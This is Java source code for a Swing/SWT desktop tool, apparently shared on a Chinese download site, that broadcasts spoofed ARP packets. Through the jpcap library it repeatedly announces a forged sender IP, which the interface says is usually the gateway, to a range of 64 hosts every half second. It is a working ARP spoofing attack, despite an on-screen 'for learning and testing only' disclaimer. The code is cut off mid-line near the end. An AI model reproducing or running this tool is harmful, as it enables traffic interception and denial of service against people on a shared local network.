import java.io.IOException;
import java.net.InetAddress;
import java.net.UnknownHostException;
import org.eclipse.swt.SWT;
import org.eclipse.swt.events.SelectionAdapter;
import org.eclipse.swt.events.SelectionEvent;
import org.eclipse.swt.widgets.Button;
import org.eclipse.swt.widgets.Combo;
import jpcap.JpcapCaptor;
import jpcap.JpcapSender;
import jpcap.NetworkInterface;
import jpcap.packet.ARPPacket;
import jpcap.packet.EthernetPacket;
import org.eclipse.swt.widgets.Display;
import org.eclipse.swt.widgets.Label;
import org.eclipse.swt.widgets.Link;
import org.eclipse.swt.widgets.Shell;
import org.eclipse.swt.widgets.Text;
import com.swtdesigner.SWTResourceManager;
public class ARP {
private static Text text_2;
private static Text text_1;
private static Combo combo;
private static Text text;
private static boolean stopFlag;
/**
* Launch the application
* @param args
*/
public static void arp(String[] args,int key) throws IOException {
// TODO 自动生成方法存根
NetworkInterface[] devices=JpcapCaptor.getDeviceList();
NetworkInterface device=null;
device = devices[key];
JpcapCaptor captor=JpcapCaptor.openDevice(device,2000,false,3000);
captor.setFilter("arp",true);
final JpcapSender sender=captor.getJpcapSenderInstance();
InetAddress srcip=InetAddress.getByName(args[0]);
//InetAddress dstip=InetAddress.getByName("192.168.1.101");
// open Jpcap
byte[] broadcast=new byte[]{(byte)255,(byte)255,(byte)255,(byte)255,(byte)255,(byte)255};
final ARPPacket arp=new ARPPacket();
arp.hardtype=ARPPacket.HARDTYPE_ETHER;
arp.prototype=ARPPacket.PROTOTYPE_IP;
arp.operation=ARPPacket.ARP_REQUEST;
arp.hlen=6;
arp.plen=4;
arp.sender_hardaddr=device.mac_address;
arp.sender_protoaddr=srcip.getAddress();
arp.target_hardaddr=broadcast;
EthernetPacket ether=new EthernetPacket();
ether.frametype=EthernetPacket.ETHERTYPE_ARP;
ether.src_mac=device.mac_address;
ether.dst_mac=broadcast;
arp.datalink=ether;
final long ip = ip2long(args[1]);
new Thread(){
public void run(){
int h = 0;
stopFlag = false;
while (!stopFlag){
for (long j= ip;j<ip+64;j++)
{
InetAddress dstip = null;
try {
dstip = InetAddress.getByName(long2ip(j));
} catch (UnknownHostException e) {
// TODO Auto-generated catch block
e.printStackTrace();
}
arp.target_protoaddr=dstip.getAddress();
sender.sendPacket(arp);
//System.out.println(long2ip(j));
}
final String str = "第"+h+"次发送\n";
Display.getDefault().syncExec(new Runnable(){
public void run(){
text_2.insert(str);
}
});
//System.out.println("第"+h+"次发送");
h++;
try {
Thread.sleep(500);
} catch (InterruptedException e) {
// TODO Auto-generated catch block
e.printStackTrace();
}
}
}
}.start();
}
public static int str2Ip(String ip) throws IOException {
InetAddress address = InetAddress.getByName(ip);//在给定主机名的情况下确定主机的 IP 址。
byte[] bytes = address.getAddress();//返回此 InetAddress 对象的原始 IP 地址
int a, b, c, d;
a = byte2int(bytes[0]);
b = byte2int(bytes[1]);
c = byte2int(bytes[2]);
d = byte2int(bytes[3]);
int result = (a << 24) | (b << 16) | (c << 8) | d;
return result;
}
public static int byte2int(byte b) {
int l = b & 0x07f;
if (b < 0) {
l |= 0x80;
}
return l;
}
public static long ip2long(String ip) throws IOException {
int ipNum = str2Ip(ip);
return int2long(ipNum);
}
public static long int2long(int i) {
long l = i & 0x7fffffffL;
if (i < 0) {
l |= 0x080000000L;
}
return l;
}
public static String long2ip(long ip) {
int[] b = new int[4];
b[0] = (int) ( (ip >> 24) & 0xff);
b[1] = (int) ( (ip >> 16) & 0xff);
b[2] = (int) ( (ip >> 8) & 0xff);
b[3] = (int) (ip & 0xff);
String x;
Integer p;
p = new Integer(0);
x = p.toString(b[0]) + "." + p.toString(b[1]) + "." + p.toString(b[2]) + "." + p.toString(b[3]);
return x;
}
public static void main(String[] args) {
final Display display = Display.getDefault();
final Shell arpSenderShell = new Shell();
arpSenderShell.setImage(SWTResourceManager.getImage(ARP.class, "/org/eclipse/jface/fieldassist/images/info_ovr.gif"));
arpSenderShell.setSize(500, 375);
arpSenderShell.setText("ARP 发送器");
//
NetworkInterface[] devices=JpcapCaptor.getDeviceList();
arpSenderShell.open();
final Label label = new Label(arpSenderShell, SWT.NONE);
label.setText("仿冒的IP");
label.setBounds(50, 88, 59, 12);
text = new Text(arpSenderShell, SWT.BORDER);
text.setText("192.168.1.20");
text.setBounds(130, 80, 138, 25);
final Label label_1 = new Label(arpSenderShell, SWT.NONE);
label_1.setText("接收的IP");
label_1.setBounds(50, 127, 48, 12);
final Label label_2 = new Label(arpSenderShell, SWT.NONE);
label_2.setText("选择网卡");
label_2.setBounds(52, 48, 46, 12);
combo = new Combo(arpSenderShell, SWT.NONE);
combo.setBounds(130, 45, 138, 20);
for (int i=0;i<devices.length;i++)
combo.add(devices[i].description);
combo.select(1);
text_1 = new Text(arpSenderShell, SWT.BORDER);
text_1.setText("192.168.1.50");
text_1.setBounds(130, 124, 138, 25);
final Button button_1 = new Button(arpSenderShell, SWT.NONE);
final Button button = new Button(arpSenderShell, SWT.NONE);
button_1.addSelectionListener(new SelectionAdapter() {
public void widgetSelected(final SelectionEvent e) {
int key = combo.getSelectionIndex();
String [] args =new String[2];
args[0] = text.getText();
args[1] = text_1.getText();
button_1.setEnabled(false);
button.setEnabled(true);
try {
ARP.arp(args, key);
} catch (IOException e1) {
// TODO Auto-generated catch block
e1.printStackTrace();
}
}
});
button_1.setText("开始");
button_1.setBounds(99, 169, 48, 22);
text_2 = new Text(arpSenderShell, SWT.V_SCROLL | SWT.MULTI | SWT.BORDER);
text_2.setBounds(32, 209, 244, 105);
button.addSelectionListener(new SelectionAdapter() {
public void widgetSelected(final SelectionEvent e) {
stopFlag = true;
button.setEnabled(false);
button_1.setEnabled(true);
}
});
button.setText("停止");
button.setEnabled(false);
button.setBounds(175, 169, 48, 22);
final Label label_3 = new Label(arpSenderShell, SWT.NONE);
label_3.setText("选择你发送的网卡");
label_3.setBounds(293, 48, 111, 12);
final Label label_4 = new Label(arpSenderShell, SWT.NONE);
label_4.setText("输入你需要仿冒的IP,通常是网关");
label_4.setBounds(293, 88, 189, 12);
final Label label_5 = new Label(arpSenderShell, SWT.WRAP);
label_5.setText("输入接收这个仿冒的ARP包的开始IP系统会自动在这个IP之后加64。");
label_5.setBounds(293, 127, 189, 33);
final Label label_6 = new Label(arpSenderShell, SWT.NONE);
label_6.setForeground(SWTResourceManager.getColor(255, 0, 0));
label_6.setFont(SWTResourceManager.getFont("", 11, SWT.NONE));
label_6.setText("注意:本软件只供学习测试用,不能用来恶意攻击其他计算机。");
label_6.setBounds(50, 10, 432, 29);
final Label label_7 = new Label(arpSenderShell, SWT.WRAP);
label_7.setText("作者:gengyangzhong 邮件:gengyangzhong#126.com");
label_7.setBounds(293, 212, 164, 33);
final Label httpwwwe362cnLabel = new Label(arpSenderShell, SWT.NONE);
httpwwwe362cnLabel.setText("http://www.e362.cn");
httpwwwe362cnLabel.setBounds(293, 251, 111, 12);
final Button button_2 = new Button(arpSenderShell, SWT.NONE);
button_2.addSelectionListener(new SelectionAdapter() {
public void widgetSelected(final SelectionEvent e) {
try {
Runtime.getRuntime().exec("explorer.exe http://www.e362.cn/netsafe/2008/
没有合适的资源?快使用搜索试试~ 我知道了~
ARP工具JAVA源代码
资源详情
资源评论
资源推荐
收起资源包目录
ARP源代码.zip (1个子文件)
ARP.java 8KB
共 1 条
- 1
xiezhiyue
- 粉丝: 0
- 资源: 9
上传资源 快速赚钱
- 我的内容管理 展开
- 我的资源 快来上传第一个资源
- 我的收益 登录查看自己的收益
- 我的积分 登录查看自己的积分
- 我的C币 登录后查看C币余额
- 我的收藏
- 我的下载
- 下载帮助
安全验证
文档复制为VIP权益,开通VIP直接复制
信息提交成功
评论0